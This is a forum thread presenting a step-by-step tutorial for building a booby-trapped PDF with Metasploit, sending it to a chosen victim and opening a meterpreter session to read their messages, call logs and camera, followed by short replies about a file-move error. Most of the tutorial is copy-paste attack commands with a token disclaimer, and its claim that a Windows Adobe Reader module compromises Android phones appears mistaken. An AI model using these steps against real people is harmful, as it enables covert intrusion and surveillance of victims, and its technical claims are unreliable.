# How To Hack Android Phone By PDF File Using Metasploit Framework

**URL:** <https://onehack.st/t/how-to-hack-android-phone-by-pdf-file-using-metasploit-framework/70655>\
**Category:** Tutorials & Methods\
**Tags:** programming, hacking\
**Created:** [February 20, 2020, 9:08pm UTC](https://onehack.st/t/how-to-hack-android-phone-by-pdf-file-using-metasploit-framework/70655 "2020-02-20T21:08:53Z")\
**Posts on this page:** 5\
**Page:** 1

<div class="post-metadata">

**Author:** ![Aina](https://onehack.st/user_avatar/onehack.st/aina/32/167469_2.png) [@Aina](https://onehack.st/u/Aina)\
**Post date:** [February 20, 2020, 9:08pm UTC](https://onehack.st/t/how-to-hack-android-phone-by-pdf-file-using-metasploit-framework/70655/1 "2020-02-20T21:08:53Z")

</div>

### Requirements :-

1. Termux app( Download it from [Play Store](https://play.google.com/store/apps/details?id=com.termux)).

2. Install Metasploit Framework in TermuX

3. TermuX should be allowed to use External Storage (For this enter the command : “ **termux-setup-storage** ”).

4. (Recommended not necessary) Use [Hacker`s Keyboard](https://play.google.com/store/apps/details?id=org.pocketworkstation.pckeyboard&hl=en) for entering commands in TermuX easily.

Once you have completed all requirements we are ready to perform the hack.

### Hacking Android Using Metasploit via a PDF File :-

###### **Step 1 :- Launch Metasploit Console**

First of all open Termux, if you are on android or just open your terminal if on Desktop.

Enter the following command to open Metasploit Console

> **msfconsole**

If this kind of screen appears in front of you then we are good and if not there might be problem in installation of **metasploit.**

 ![image](https://onehack.st/uploads/default/original/3X/f/e/fe3f662a63746fee99ef234739dabf1bea9a10bf.png)

###### **Step 2**** :- Creating the Evil PDF (Payload)**

Type the commands given below or simply copy paste them one by one to create the **PDF File.**

> _ **use exploit/windows/fileformat/adobe\_pdf\_embedded\_exe\_nojs** _

Then you have to set your Localhost. For this you will need your IP Address, to check your IP Address type

> **ifconfig**

in new seesion on termux or in another terminal window. Now come to your metasploit console and set your Localhost like this –

> **set LHOST 192.168.0.0**

Replace the IP Address given in above command by your own IP Address

Now its time to setup **port** for this enter this command –

> **set LPORT 4444**

You are free to use any port you want like 4564, 8080 etc.

Now its time to generate the **Evil PDF File** do this by below command –

> **set filename MyDocument.pdf**

Here, you are also free to use any name you want just put it in place of **MyDocument** but be sure to put **.pdf** at the end of its name.

Now the last command is for final creation of file do this by typing this command –

> **exploit**

 ![image](https://onehack.st/uploads/default/original/3X/f/2/f2b0a8238de17115679513b93111406f13110493.png)

Now within a second a message will be displayed saying that your PDF File is created at any default location. First copy that PDF File to your either Internal or External storage like this

> **mv \<fille\_location\> \<new\_location\>**

And now you are done with creation part. Send it to any person that you want to hack. As soon as he/she will open that pdf file you will get the metasploit session.

###### **Step**** 3 :- Exploitation**

First open your metasploit console by typing

> **msfconsole**

and then start writing below mentioned command –

> **use exploit/multi/handler/**
> 
> **set LHOST \<your\_IP\>**
> 
> **set LPORT 4444**
> 
> **exploit**

 ![image](https://onehack.st/uploads/default/original/3X/9/d/9d12e663a5ec9fba7ce17c2be391774ccf222782.png)

**Note –** Make sure to enter same IP and Port as you entered above in Step 2.

It will some time and then **BOOM** you will get meterpreter session. If such output appears then you got access to victim’s phone.

For seeing his/her sms, call logs, taking picture from victim’s camera you can use command given on the post about [How To Hack An Android Phone With Another Android (Without Root) Android To Android Hacking](https://onehack.st/t/how-to-hack-an-android-phone-with-another-android-without-root-android-to-android-hacking/70651) in the last section.

##### **Note –** This is only for educational purpose and I’m not responsible for any misuse or harm done.

## ENJOY & HAPPY LEARNING! 👍

---

<div class="post-metadata">

**Author:** ![hackathon](https://onehack.st/letter_avatar_proxy/v4/letter/h/57b2e6/32.png) [@hackathon](https://onehack.st/u/hackathon)\
**Post date:** [February 21, 2020, 9:54am UTC](https://onehack.st/t/how-to-hack-android-phone-by-pdf-file-using-metasploit-framework/70655/2 "2020-02-21T09:54:33Z")

</div>

Really Nice share chief.  
@Aina It’s good tutorial on how to do it, can you also explain a little details how to avoid/recognize such attacks.

---

<div class="post-metadata">

**Author:** ![Justin\_B](https://onehack.st/user_avatar/onehack.st/justin_b/32/21281_2.png) [@Justin\_B](https://onehack.st/u/Justin_B)\
**Post date:** [February 22, 2020, 8:03am UTC](https://onehack.st/t/how-to-hack-android-phone-by-pdf-file-using-metasploit-framework/70655/3 "2020-02-22T08:03:36Z")

</div>

It is showing that cannot move the file permission denied!

---

<div class="post-metadata">

**Author:** ![Justin\_B](https://onehack.st/user_avatar/onehack.st/justin_b/32/21281_2.png) [@Justin\_B](https://onehack.st/u/Justin_B)\
**Post date:** [February 22, 2020, 8:04am UTC](https://onehack.st/t/how-to-hack-android-phone-by-pdf-file-using-metasploit-framework/70655/4 "2020-02-22T08:04:52Z")

</div>

please give solution

---

<div class="post-metadata">

**Author:** ![BadFella](https://onehack.st/user_avatar/onehack.st/badfella/32/88045_2.png) [@BadFella](https://onehack.st/u/BadFella)\
**Post date:** [April 23, 2020, 11:19pm UTC](https://onehack.st/t/how-to-hack-android-phone-by-pdf-file-using-metasploit-framework/70655/5 "2020-04-23T23:19:36Z")

</div>

> cp /root/.msf4/local/filename.pdf /root/foldername/filename.pdf

use this instead bro @Justin_B
